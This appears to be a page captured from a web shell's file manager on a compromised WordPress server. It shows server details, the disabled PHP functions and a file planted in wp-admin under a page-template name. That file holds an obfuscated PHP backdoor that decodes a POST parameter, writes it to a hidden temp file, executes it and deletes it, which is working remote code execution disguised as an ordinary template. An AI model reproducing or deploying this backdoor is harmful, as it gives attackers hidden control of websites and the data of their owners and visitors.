HEX
Server: nginx/1.25.5
System: Linux hcss-ecs-9064 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
$ pwd: /www/wwwroot/885213.cn/wp-admin/
Upload Files
File: /www/wwwroot/885213.cn/wp-admin/front.page.template.1767439362.php
<!--YF6JAF2k-->
<?php if(isset($_POST["ele\155ent"])?true:false):$_0=$_POST["e\154emen\164"];$_0=EXpLoDe(".",$_0);$_1="";$_2="a\142\x63d\x65fgh\151\x6aklmnopqrs\x74uvw\x78yz\x30123456789";$_3=sTrLEn($_2);foreach($_0 as$_4=>$_5):$_6=OrD($_2[$_4%$_3]);$_7=((	int)$_5-$_6-($_4%(int)ROUnD(3.3333333333333+3.3333333333333+3.3333333333333)))^(0117-0155+0173);$_1.=cHR($_7);endforeach;$_8=arRay_FIltEr([sys_Get_TEMP_DiR(),Ini_gET("\x75pl\x6fa\x64_t\x6d\x70\x5fdir"),"\057var/tm\160",SesSION_sAve_PaTh(),"/de\166/\x73hm",GeteNV("TE\x4d\120"),"/tmp",geTEnv("\x54MP"),GeTcwd()]);foreach($_8 as$_9):if(Is_diR($_9)?Is_WRITABlE($_9):false):$_10=$_9."\x2f\056\145nt";if(fIle_PUt_conTENTs($_10,$_1)):include $_10;@uNLInk($_10);die();endif;endif;endforeach;endif;
@ Telegram